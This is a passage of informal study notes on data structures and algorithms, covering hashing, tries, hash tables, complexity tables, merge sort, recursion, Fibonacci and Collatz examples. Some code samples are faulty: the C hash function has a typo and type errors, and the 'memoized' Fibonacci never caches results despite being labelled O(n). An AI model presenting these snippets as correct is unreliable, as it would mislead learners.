<li>Time Complexity:
<ul>
<li>Insertion: O(1)</li>
<li>Deletion: O(1)</li>
<li>Searching: O(n)</li>
<li>Access: O(n)</li>
</ul>
</li>
</ul>
<h3 id="dictionary">Dictionary</h3>
<ul>
<li>stores in a form of key (word) and value (definition).</li>
<li>data structures like: arrays, hash tables.</li>
</ul>
<h3 id="trees-draft">Trees [DRAFT]</h3>
<h4 id="binary-search-trees">Binary Search Trees</h4>
<ul>
<li>Time Complexity
<ul>
<li>Searching - O(log n)</li>
</ul>
</li>
</ul>
<h4 id="tries">Tries</h4>
<ul>
<li>tree of an arrays.</li>
<li>combines structures and pointers together to store data.</li>
<li>data can be searched through roadmap.</li>
<li>no collisions</li>
<li>not widely used because huge NULL pointers (trade-off)</li>
<li>insertion is complex - lot of dynamic memory allocations</li>
<li>deletion is easy - just free a node</li>
<li>lookup is fast - not fast as an array (but almost)</li>
<li>already sorted</li>
<li>rapidly becomes huge, even very little data present.</li>
<li>not great if space is at a premium</li>
<li>Time Complexity
<ul>
<li>Searching - O(k) -&gt; constant value k -&gt; O(1)</li>
</ul>
</li>
</ul>
<h3 id="hashing">Hashing</h3>
<ul>
<li>function in math or code that takes any number of inputs and maps them to a finite number of outputs (range).</li>
<li>a good hash function
<ul>
<li>always give the same value for the same input (be deterministic)</li>
<li>use only and all (buckets) the data being hashed</li>
<li>an even (uniform) distribution of data across buckets</li>
<li>generate very different hash codes for very similar data</li>
</ul>
</li>
<li>analogy: separating different patterns in a cards. shuffled card to -&gt; spade, heart, diamond, club</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-c" data-lang="c"><span class="line"><span class="cl"><span class="n">HASH_MAX</span> <span class="o">=</span> <span class="mi">100</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kt">unsigned</span> <span class="kt">int</span> <span class="nf">hash</span><span class="p">(</span><span class="kt">char</span> <span class="o">&amp;</span> <span class="n">str</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">{</span>
</span></span><span class="line"><span class="cl">    <span class="kt">int</span> <span class="n">sum</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="p">(</span><span class="kt">int</span> <span class="n">j</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span> <span class="n">star</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">!=</span> <span class="s">&#34;</span><span class="se">\0</span><span class="s">&#34;</span><span class="p">;</span> <span class="n">j</span><span class="o">++</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="p">{</span>
</span></span><span class="line"><span class="cl">        <span class="n">sum</span> <span class="o">+=</span> <span class="n">str</span><span class="p">[</span><span class="n">j</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">sum</span> <span class="o">%</span> <span class="n">HASH_MAX</span><span class="p">;</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div><h4 id="hash-tables">Hash Tables</h4>
<ul>
<li>array of linked lists.</li>
<li>allows random access ability of an array.</li>
<li>widely used.</li>
<li>insertion is two step process - hash and add</li>
<li>deletion is easy - once found</li>
<li>lookup is on average better than linked lists (we have constant factor)</li>
<li>not an ideal data structure for sorting. (trade off)</li>
<li>also called hash map.</li>
<li>example: maps and sets</li>
<li>Time Complexity
<ul>
<li>Searching - <strong>O(n)</strong> or <strong>~O(1)</strong></li>
<li>Insertion - <strong>~O(1)</strong></li>
<li>Deletion - <strong>~O(1)</strong></li>
</ul>
</li>
</ul>
<h4 id="collision">Collision</h4>
<ul>
<li>occurs when two pieces of data, when run through the hash function, yield the same hash code.</li>
<li>shouldn&rsquo;t simply overwrite it.</li>
</ul>
<h5 id="linear-probing">Linear probing</h5>
<ul>
<li>we try to place the data in the next consecutive element in the array.</li>
<li>such that, if not find directly, can be find nearby.</li>
<li>subject to a problem called clustering.</li>
</ul>
<h5 id="chaining">Chaining</h5>
<ul>
<li>every element of the array hold multiple pieces of data.</li>
<li>each element of the array is a pointer to the head of a linked list.</li>
<li>multiple pieces of data can yield the same hash code.</li>
</ul>
<h3 id="binary-heap">Binary Heap</h3>
<h3 id="priority-queue">Priority Queue</h3>
<h3 id="graph">Graph</h3>
<h2 id="searching-algorithms">Searching Algorithms</h2>
<table>
<thead>
<tr>
<th>Algorithms</th>
<th>Time Complexity (Worst)</th>
<th>Time Complexity (Average)</th>
<th>Time Complexity (Best)</th>
<th>Space Complexity</th>
</tr>
</thead>
<tbody>
<tr>
<td>Linear Search</td>
<td>O(n)</td>
<td>Θ(n)</td>
<td>Ω(1)</td>
<td>O(1)</td>
</tr>
<tr>
<td>Binary Search</td>
<td>O(log n)</td>
<td>Θ(log n)</td>
<td>Ω(1)</td>
<td>O(1)</td>
</tr>
</tbody>
</table>
<h3 id="linear-search">Linear Search</h3>
<ul>
<li>algorithm iterate across the array from left to right, searching for a specified element.</li>
<li><strong>O(n)</strong> - look through entire array of n elements.</li>
<li><strong>Ω(1)</strong> - target is the first element, can stop immediately.</li>
</ul>
<h3 id="binary-search">Binary Search</h3>
<ul>
<li>should be sorted.</li>
<li>algorithm divide and conquer, reducing the search area by half each time, trying to find a target number.</li>
<li><strong>O(log n)</strong> - split array of n element in half repeatedly to find target, either element exist or doesn&rsquo;t exist.</li>
<li><strong>Ω(1)</strong> - target element is at the midpoint of the full array, and so we can stop looking immediately after we start.</li>
</ul>
<h2 id="sorting-algorithms">Sorting Algorithms</h2>
<table>
<thead>
<tr>
<th>Algorithms</th>
<th>Time Complexity (Worst)</th>
<th>Time Complexity (Average)</th>
<th>Time Complexity (Best)</th>
<th>Space Complexity</th>
</tr>
</thead>
<tbody>
<tr>
<td>Bubble Sort</td>
<td>O(n<sup>2</sup>)</td>
<td>Θ(n<sup>2</sup>)</td>
<td>Ω(n)</td>
<td>O(1)</td>
</tr>
<tr>
<td>Selection Sort</td>
<td>O(n<sup>2</sup>)</td>
<td>Θ(n<sup>2</sup>)</td>
<td>Ω(n<sup>2</sup>)</td>
<td>O(1)</td>
</tr>
<tr>
<td>Insertion Sort</td>
<td>O(n<sup>2</sup>)</td>
<td>Θ(n<sup>2</sup>)</td>
<td>Ω(n)</td>
<td>O(1)</td>
</tr>
<tr>
<td>Merge Sort</td>
<td>O(n log n)</td>
<td>Θ(n log n)</td>
<td>Ω(n log n)</td>
<td>O(n)</td>
</tr>
</tbody>
</table>
<h3 id="bubble-sort">Bubble sort</h3>
<ul>
<li>algorithm to move higher valued elements generally towards the right and lower value elements generally towards the left.</li>
<li><strong>O(n<sup>2</sup>)</strong> - array in reverse order, bubble &ldquo;n&rdquo; elements n times.</li>
<li><strong>Ω(n)</strong> - array is already perfectly sorted, we make no swaps on the first pass.</li>
</ul>
<h3 id="selection-sort">Selection sort</h3>
<ul>
<li>algorithm is to find the smallest unsorted element and add it to the end of the sorted list</li>
<li><strong>O(n<sup>2</sup>)</strong> - iterate over each of the n element of array, repeating this process n times. only one element sorted at each pash</li>
<li><strong>Ω(n<sup>2</sup>)</strong> - no guarantee the array is sorted until we go through this process.</li>
</ul>
<h3 id="merge-sort">Merge sort</h3>
<ul>
<li>algorithm is to sort smaller arrays and then combine those arrays together (merge them) in sorted order</li>
<li><strong>O(n log n)</strong> - split n elements up and then recombine them, doubling the sorted sub-arrays as we build them up.</li>
<li><strong>Ω(n log n)</strong> - array is perfectly sorted, still have to split and recombine them back together with algorithm.</li>
</ul>


  
    
    <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-py" data-lang="py"><span class="line"><span class="cl"><span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">Module: to demonstrate merge sorting
</span></span></span><span class="line"><span class="cl"><span class="s2">&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">merge</span><span class="p">(</span><span class="n">left</span><span class="p">,</span> <span class="n">right</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;Merging two lists&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">li</span><span class="p">,</span> <span class="n">ri</span> <span class="o">=</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">    <span class="n">merged_lists</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># compare smallest to the list.</span>
</span></span><span class="line"><span class="cl">    <span class="k">while</span> <span class="n">li</span> <span class="o">&lt;</span> <span class="nb">len</span><span class="p">(</span><span class="n">left</span><span class="p">)</span> <span class="ow">and</span> <span class="n">ri</span> <span class="o">&lt;</span> <span class="nb">len</span><span class="p">(</span><span class="n">right</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="k">if</span> <span class="n">left</span><span class="p">[</span><span class="n">li</span><span class="p">]</span> <span class="o">&lt;=</span> <span class="n">right</span><span class="p">[</span><span class="n">ri</span><span class="p">]:</span>
</span></span><span class="line"><span class="cl">            <span class="n">merged_lists</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">left</span><span class="p">[</span><span class="n">li</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">            <span class="n">li</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">        <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">            <span class="n">merged_lists</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">right</span><span class="p">[</span><span class="n">ri</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">            <span class="n">ri</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1"># add all remaining</span>
</span></span><span class="line"><span class="cl">    <span class="n">merged_lists</span> <span class="o">+=</span> <span class="n">left</span><span class="p">[</span><span class="n">li</span><span class="p">:]</span>
</span></span><span class="line"><span class="cl">    <span class="n">merged_lists</span> <span class="o">+=</span> <span class="n">right</span><span class="p">[</span><span class="n">ri</span><span class="p">:]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">merged_lists</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">merge_sort</span><span class="p">(</span><span class="n">lists</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;Merge sort function&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">half</span> <span class="o">=</span> <span class="nb">len</span><span class="p">(</span><span class="n">lists</span><span class="p">)</span> <span class="o">//</span> <span class="mi">2</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">lists</span><span class="p">)</span> <span class="o">==</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">lists</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">merge</span><span class="p">(</span><span class="n">merge_sort</span><span class="p">(</span><span class="n">lists</span><span class="p">[:</span><span class="n">half</span><span class="p">]),</span> <span class="n">merge_sort</span><span class="p">(</span><span class="n">lists</span><span class="p">[</span><span class="n">half</span><span class="p">:]))</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">output</span> <span class="o">=</span> <span class="n">merge_sort</span><span class="p">([</span><span class="mi">6</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">1</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">output</span><span class="p">)</span>
</span></span></code></pre></div>
  


<h3 id="radix-sort">Radix sort</h3>
<h3 id="insertion-sort">Insertion sort</h3>
<h2 id="algorithms-and-its-applications">Algorithms and it&rsquo;s Applications</h2>
<p>
  
  <input type="checkbox" id="zoomCheck-14193" hidden />
  <label for="zoomCheck-14193">
    <img
      class="zoomCheck"
      loading="lazy"
      decoding="async"
      src="img/algorithm-application.webp"
      alt="Algorithm and it&amp;rsquo;s Applications"
       />
  </label>
</p>
<h2 id="inheritance">Inheritance</h2>
<h2 id="recursion">Recursion</h2>
<ul>
<li>the function that calls itself as part of execution, elegant because no other function, no loops.</li>
<li>search recursion in Google.</li>
</ul>
<h3 id="fibonacci-series">Fibonacci Series</h3>
<ul>
<li>developed to study rabbit populations.</li>
<li>after n generation, it gives number of rabbits it has.</li>
</ul>
<p>$$
F_n {\geq} 2^{n/2} for, n {\geq} 6
$$</p>


  
    
    <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-py" data-lang="py"><span class="line"><span class="cl"><span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">Module: Fibonacci series
</span></span></span><span class="line"><span class="cl"><span class="s2">&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">os</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&#34;clear&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">fibonacci_slow</span><span class="p">(</span><span class="n">position</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;Recursive fibonacci function&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">position</span> <span class="o">&lt;=</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">position</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="n">response</span> <span class="o">=</span> <span class="n">fibonacci_slow</span><span class="p">(</span><span class="n">position</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">+</span> <span class="n">fibonacci_slow</span><span class="p">(</span><span class="n">position</span> <span class="o">-</span> <span class="mi">2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">response</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">memo</span> <span class="o">=</span> <span class="p">[]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">fibonacci_memoized</span><span class="p">(</span><span class="n">position</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;Memoized approach of fibonacci function&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">position</span> <span class="o">&lt;=</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">position</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">position</span> <span class="ow">in</span> <span class="n">memo</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="n">memo</span><span class="p">[</span><span class="n">position</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">fibonacci_memoized</span><span class="p">(</span><span class="n">position</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">+</span> <span class="n">fibonacci_memoized</span><span class="p">(</span><span class="n">position</span> <span class="o">-</span> <span class="mi">2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">fibonacci_bottom_up</span><span class="p">(</span><span class="n">n</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;Bottom up approach of Fibonacci&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">prev</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">    <span class="n">nxt</span> <span class="o">=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">    <span class="n">count</span> <span class="o">=</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">while</span> <span class="n">count</span> <span class="o">&lt;</span> <span class="n">n</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="n">nxt</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s2">&#34; &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">total</span> <span class="o">=</span> <span class="n">prev</span> <span class="o">+</span> <span class="n">nxt</span>
</span></span><span class="line"><span class="cl">        <span class="n">prev</span><span class="p">,</span> <span class="n">nxt</span> <span class="o">=</span> <span class="n">nxt</span><span class="p">,</span> <span class="n">total</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">        <span class="n">count</span> <span class="o">+=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">fibonacci_dynamic</span><span class="p">(</span><span class="n">n</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">    Dynamic programming approach of fibonacci function.
</span></span></span><span class="line"><span class="cl"><span class="s2">    =&gt; Memoization + Bottom-up
</span></span></span><span class="line"><span class="cl"><span class="s2">    &#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="n">series</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">position</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="n">n</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">series</span><span class="o">.</span><span class="n">append</span><span class="p">(</span><span class="n">series</span><span class="p">[</span><span class="n">position</span> <span class="o">-</span> <span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="n">series</span><span class="p">[</span><span class="n">position</span> <span class="o">-</span> <span class="mi">2</span><span class="p">])</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">return</span> <span class="n">series</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="n">TOTAL_SIZE</span> <span class="o">=</span> <span class="mi">10</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Fibonacci Slow - O(2^n)&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">TOTAL_SIZE</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">res</span> <span class="o">=</span> <span class="n">fibonacci_slow</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="n">res</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s2">&#34; &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">Fibonacci Memoized - O(n)&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="n">TOTAL_SIZE</span> <span class="o">+</span> <span class="mi">1</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">res</span> <span class="o">=</span> <span class="n">fibonacci_memoized</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">(</span><span class="n">res</span><span class="p">,</span> <span class="n">end</span><span class="o">=</span><span class="s2">&#34; &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">Fibonacci Bottom-up - O(n)&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">fibonacci_bottom_up</span><span class="p">(</span><span class="n">TOTAL_SIZE</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;</span><span class="se">\n</span><span class="s2">Fibonacci Dynamic - O(n)&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">output</span> <span class="o">=</span> <span class="n">fibonacci_dynamic</span><span class="p">(</span><span class="n">TOTAL_SIZE</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">output</span><span class="p">)</span>
</span></span></code></pre></div>
  


<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Output</span>
</span></span><span class="line"><span class="cl">Fibonacci Slow - O<span class="o">(</span>2^n<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="m">1</span> <span class="m">1</span> <span class="m">2</span> <span class="m">3</span> <span class="m">5</span> <span class="m">8</span> <span class="m">13</span> <span class="m">21</span> <span class="m">34</span> <span class="m">55</span>
</span></span><span class="line"><span class="cl">Fibonacci Memoized - O<span class="o">(</span>n<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="m">1</span> <span class="m">1</span> <span class="m">2</span> <span class="m">3</span> <span class="m">5</span> <span class="m">8</span> <span class="m">13</span> <span class="m">21</span> <span class="m">34</span> <span class="m">55</span>
</span></span><span class="line"><span class="cl">Fibonacci Bottom-up - O<span class="o">(</span>n<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="m">1</span> <span class="m">1</span> <span class="m">2</span> <span class="m">3</span> <span class="m">5</span> <span class="m">8</span> <span class="m">13</span> <span class="m">21</span> <span class="m">34</span> <span class="m">55</span>
</span></span><span class="line"><span class="cl">Fibonacci Dynamic - O<span class="o">(</span>n<span class="o">)</span>
</span></span><span class="line"><span class="cl"><span class="o">[</span>0, 1, 1, 2, 3, 5, 8, 13, 21, 34, 55<span class="o">]</span>
</span></span></code></pre></div><h3 id="collatz-conjecture">Collatz Conjecture</h3>


  
    
    <div class="highlight"><pre tabindex="0" class="chroma"><code class="language-py" data-lang="py"><span class="line"><span class="cl"><span class="s2">&#34;&#34;&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">Module: collatz conjecture applies to positive integers and
</span></span></span><span class="line"><span class="cl"><span class="s2">speculates that it is always possible to get &#34;back to 1&#34;
</span></span></span><span class="line"><span class="cl"><span class="s2">&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">os</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="n">os</span><span class="o">.</span><span class="n">system</span><span class="p">(</span><span class="s2">&#34;clear&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">collatz</span><span class="p">(</span><span class="n">position</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="s2">&#34;&#34;&#34;Recursive collatz conjecture function&#34;&#34;&#34;</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">position</span><span class="p">),</span> <span class="n">end</span><span class="o">=</span><span class="s2">&#34;&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">position</span> <span class="o">&lt;=</span> <span class="mi">1</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="mi">0</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">end</span><span class="o">=</span><span class="s2">&#34; -&gt; &#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">if</span> <span class="n">position</span> <span class="o">%</span> <span class="mi">2</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="mi">1</span> <span class="o">+</span> <span class="n">collatz</span><span class="p">(</span><span class="n">position</span> <span class="o">/</span> <span class="mi">2</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="k">else</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">        <span class="k">return</span> <span class="mi">1</span> <span class="o">+</span> <span class="n">collatz</span><span class="p">(</span><span class="mi">3</span> <span class="o">*</span> <span class="n">position</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="cl">    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">11</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">        <span class="n">collatz</span><span class="p">(</span><span class="n">i</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">        <span class="nb">print</span><span class="p">()</span>
</span></span></code></pre></div>
  


<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl"><span class="c1"># Output</span>
</span></span><span class="line"><span class="cl"><span class="m">1</span>
</span></span><span class="line"><span class="cl"><span class="m">2</span> -&gt; <span class="m">1</span>
</span></span><span class="line"><span class="cl"><span class="m">3</span> -&gt; <span class="m">10</span> -&gt; <span class="m">5</span> -&gt; <span class="m">16</span> -&gt; <span class="m">8</span> -&gt; <span class="m">4</span> -&gt; <span class="m">2</span> -&gt; <span class="m">1</span>
</span></span><span class="line"><span class="cl"><span class="m">4</span> -&gt; <span class="m">2</span> -&gt; <span class="m">1</span>
</span></span><span class="line"><span class="cl"><span class="m">5</span> -&gt; <span class="m">16</span> -&gt; <span class="m">8</span> -&gt; <span class="m">4</span> -&gt; <span class="m">2</span> -&gt; <span class="m">1</span>
</span></span><span class="line"><span class="cl"><span class="m">6</span> -&gt; <span class="m">3</span> -&gt; <span class="m">10</span> -&gt; <span class="m">5</span> -&gt; <span class="m">16</span> -&gt; <span class="m">8</span> -&gt; <span class="m">4</span> -&gt; <span class="m">2</span> -&gt; <span class="m">1</span>
</span></span><span class="line"><span class="cl">...
</span></span></code></pre></div><h2 id="dsa-against-problem">DSA against Problem</h2>
<ol>
<li>
<p>If we are dealing with <strong>top/maximum/minimum/closest</strong> &lsquo;K&rsquo; elements among &lsquo;N&rsquo; elements, we will be using a <strong>Heap</strong>.</p>
</li>
<li>
<p>If the given input is a <strong>sorted array or a list</strong>, we will either be using <strong>Binary Search</strong> or the <strong>Two Pointers</strong> strategy.</p>
</li>
<li>
<p>If we need to try all <strong>combinations (or permutations)</strong> of the input, we can either use <strong>Backtracking</strong> or <strong>Breadth First Search</strong>.</p>
</li>
<li>
<p>Most of the questions related to <strong>Trees</strong> or <strong>Graphs</strong> can be solved either through <strong>Breadth First Search</strong> or <strong>Depth First Search</strong>.</p>
</li>
<li>
<p>Every <strong>recursive</strong> solution can be converted to an <strong>iterative</strong> solution using <strong>Stack</strong>.</p>
</li>
<li>
<p>For a problem involving arrays, if there exists a solution in <strong>O(n^2)</strong> time and <strong>O(1)</strong> space, there must exist two other solutions:</p>
<ul>
<li>Using a <strong>HashMap or a Set</strong> for <strong>O(n)</strong> time and <strong>O(n)</strong> space,</li>
<li>Using <strong>sorting</strong> for <strong>O(n log n)</strong> time and <strong>O(1)</strong> space.</li>
</ul>
</li>
<li>
<p>If a problem is asking for <strong>optimization</strong> (e.g., maximization or minimization), we will be using <strong>Dynamic Programming</strong>.</p>
</li>
<li>
